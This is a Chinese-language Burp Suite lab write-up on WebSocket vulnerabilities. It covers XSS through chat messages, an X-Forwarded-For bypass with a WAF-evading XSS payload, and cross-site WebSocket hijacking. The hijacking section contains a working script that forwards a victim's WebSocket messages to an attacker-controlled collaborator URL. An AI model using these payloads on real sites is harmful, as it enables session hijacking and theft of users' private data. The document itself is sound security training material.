Burp Lab——WebSockets漏洞

WebSocket介绍

WebSocket是一种全双工、持久连接的应用层协议，运行在TCP之上。

由HTTP Upgrade握手建立，服务器返回101 Switching Protocols。
握手阶段，请求和响应都必须携带Connection: Upgrade。
握手后不再使用HTTP格式，使用自己的二进制帧。
双方异步通信实时发送消息。

WebSocket(ws://明文)消息可被中间人转发，除非加密，WebSocket over HTTPS (wss://)。

操纵WebSocket流量

使用Burp Suite等工具可以：

截获并修改WebSocket消息
重放并生成新的WebSocket消息
- Repeater可以"重连(reconnect)"已经断开的websocket连接
- WS没有内置的心跳机制，通过ping、pong请求响应维持连接。
操纵WebSocket连接

WebSockets存在的安全漏洞

原则上，几乎任何Web安全漏洞都可能与WebSockets相关，例如：

传输到服务器的用户输入可能会以不安全的方式进行处理，从而导致SQL注入或XML外部实体注入等漏洞。
一些通过WebSocket实现的盲打漏洞只能通过OAST(out-of-band)带外技术检测。
如果攻击者控制的数据通过WS传递给其它应用用户，那么可能导致XSS或其它客户端漏洞。

案例一：操纵WebSocket消息以利用漏洞

通过篡改WS消息的内容，可以触发大部分注入类型的漏洞。

假设，一个聊天应用使用WS在浏览器和服务器之间发送聊天消息，客户端发送如下消息到服务器：

json 复制代码

{"message":"Hello Carlos"}

消息会通过WS传输给另一个聊天用户，并在浏览器中呈现为：

html 复制代码

<td>Hello Carlos</td>

那么，如果没有存在其它防御措施，就可能存在XSS漏洞攻击。

直接发送payload，发现< >被HTML编码{"message":"<>"}。
拦截并修改请求，{"message":"<img src=x onerror=alert(1)>"}

总结

这是一个注入漏洞
由于聊天室的特性，攻击者的注入参数在用户客户端展示
因此触发了客户端漏洞XSS

案例二：操纵WebSocket握手环节触发漏洞

有些WS漏洞只能通过WS握手环节寻找，这些漏洞往往属于设计缺陷，例如：

错误地信任HTTP头来执行安全决策，如X-Forwarded-For。
会话处理机制的缺陷，因为WebSocket消息的处理会话上下文通常是由握手消息的会话上下文决定的。
- WS连接的会话状态直接继承自握手阶段的HTTP会话，如果握手阶段的会话验证存在漏洞，那么整个WS通信的安全性将受到威胁。
应用程序使用自定义的HTTP头引入的攻击面。

将拦截的请求发送到Repeater后，可以利用Reconnect重建WebSocket连接。
XFF请求头可能绕过IP黑名单限制。
XSS payload绕WAF，如
html 复制代码
```
<img src=x ErRoR=aLeRt`1`
```

案例三：利用跨站WebSocket攻击

跨站WebSocket劫持攻击，利用WebSocket握手阶段存在的CSRF漏洞。

受害者登录受信任的漏洞网站
受害者访问恶意网站触发JS请求
请求携带用户的Cookie发出伪造的请求，执行意外的操作
这通常允许攻击者代表用户执行特权操作，或访问用户自己才可以访问的敏感数据
- 当WebSocket握手请求只依赖HTTP cookie进行会话处理，而不包含CSRF Token或其它不可预测的值时，就会出现这种情况。
- 攻击者在自己的恶意域名/钓鱼网站创建一个恶意网页，该网页与易受攻击的应用建立一个跨站的WebSocket连接。
- 跨站WebSocket攻击不同于传统CSRF的一次请求，是劫持会话(在受害者的上下文)，建立持久性连接。攻击者可以与服务器双向交互。

发现跨站WebSocket劫持潜在漏洞

跨站WebSocket劫持攻击本质上是针对WebSocket握手阶段(HTTP请求)的CSRF漏洞。因此，执行攻击的第一步是检查应用程序的握手阶段，确认是否存在CSRF防护。
CSRF攻击发现思路：

找到一个消息，它只依赖Cookie进行会话处理，请求参数中没有Token或其他不可预测值(可预测也存在风险)。

例如，可能存在CSRF漏洞的握手请求如下：

http 复制代码

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

其中：

唯一的会话令牌通过Cookie传输，没有防CSRF头。此时如果后端没有充分过滤输入、没有校验Referer字段、没有SameSite=Strict，就可能存在CSRF漏洞。
Sec-WebSocket-Key首部包含的随机值，用于防止缓存代理错误。

一旦攻击者劫持了会话，他们可以：

代表受害者发送WS消息执行未授权操作。
发送WS消息检索敏感数据。
等待敏感消息到达，服务器可能主动推送一些敏感数据。

跨站WebSocket的危险性

WebSocket在进行跨域连接时，浏览器不会执行CORS预检 。
复制代码
```
# 正常的HTTP请求跨域时，浏览器发送
OPTIONS /api
Origin: https://evil.com
Access-Control-Request-Method: POST

# WebSocket握手请求
GET /api
Upgrade: websocket
Origin: https://evil.com
```
- 服务器没有收到OPTIONS，也不会返回Access-Control-Allow-Origin消息头。
- 此时，服务器不检查Origin，可能接受外站的WS连接请求。
WS的Origin可以被伪造。
- 许多WS服务器不检查Origin。HTTP API很难做到跨域调用，但WebSocket很容易。
WebSocket的跨域策略不像CORS一样严格。
在没有设置SameSite属性的情况下，Cookie会被恶意请求自动携带。
- 如果设置为Lax，那么虽然握手阶段的GET请求允许跨站，但跨站攻击往往不是顶层导航(点击跳转链接、URL)，因此也无法成功攻击。

跨站WS靶场

要想执行跨站攻击，

首先需要一个攻击者可控制的服务器，用来挂载恶意脚本。
钓鱼诱导用户触发payload
用户在已登录目标网站的同时点击恶意链接。

靶场测试

(聊天室功能)和目标聊天，/chat接口没有防CSRF的Token或随机字符串。
Cookie的SameSite=None
清除WebSocket History，刷新页面 ，发现，但发出READY的WS请求时，服务器返回过去的聊天记录。
构造恶意payload
js 复制代码
```
<script>
    var ws = new WebSocket('wss://your-websocket-url');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>
```
1. websocket-url是存在CSRF漏洞的接口
2. collaborator-url是可控的恶意域名（Burp Suite可自己生成）
3. 这段代码执行三个步骤：建立WebSocket连接、连接成功后发送一条消息READY给服务器、把服务器发回的每一条WebSocket消息转发给攻击者控制的恶意服务器 。
  - 任何从WebSocket服务器返回的消息，都会发送给攻击者。
测试成功后，将payload链接发送给受害者。

WebSocket连接防护

使用基于TLS的WebSockets，wss://协议
硬编码WS端点的URL，不要在URL中包含用户可控数据
CSRF防护，避免握手消息存在跨站WebSockets劫持漏洞
将WebSocket接收到的数据在双向(全双工、异步)不可信，在服务器和数据端安全处理数据，以防基于注入的漏洞。